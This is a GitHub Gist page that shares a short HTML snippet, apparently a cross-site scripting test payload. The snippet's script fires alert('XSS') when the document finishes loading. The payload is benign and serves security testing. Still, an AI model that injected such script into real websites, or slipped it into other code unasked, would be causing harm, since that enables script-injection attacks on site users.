Skip to content

Instantly share code, notes, and snippets.

@memoryleak
Created October 4, 2021 09:42
Show Gist options
  • Save memoryleak/49c45c78ac9161a1b9b3ad8472a0ee10 to your computer and use it in GitHub Desktop.
Save memoryleak/49c45c78ac9161a1b9b3ad8472a0ee10 to your computer and use it in GitHub Desktop.
<head>
<script type="text/javascript">
document.onreadystatechange = function(){
if(document.readyState=='loaded' || document.readyState=='complete')
alert('XSS');
}
</script>
</head>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment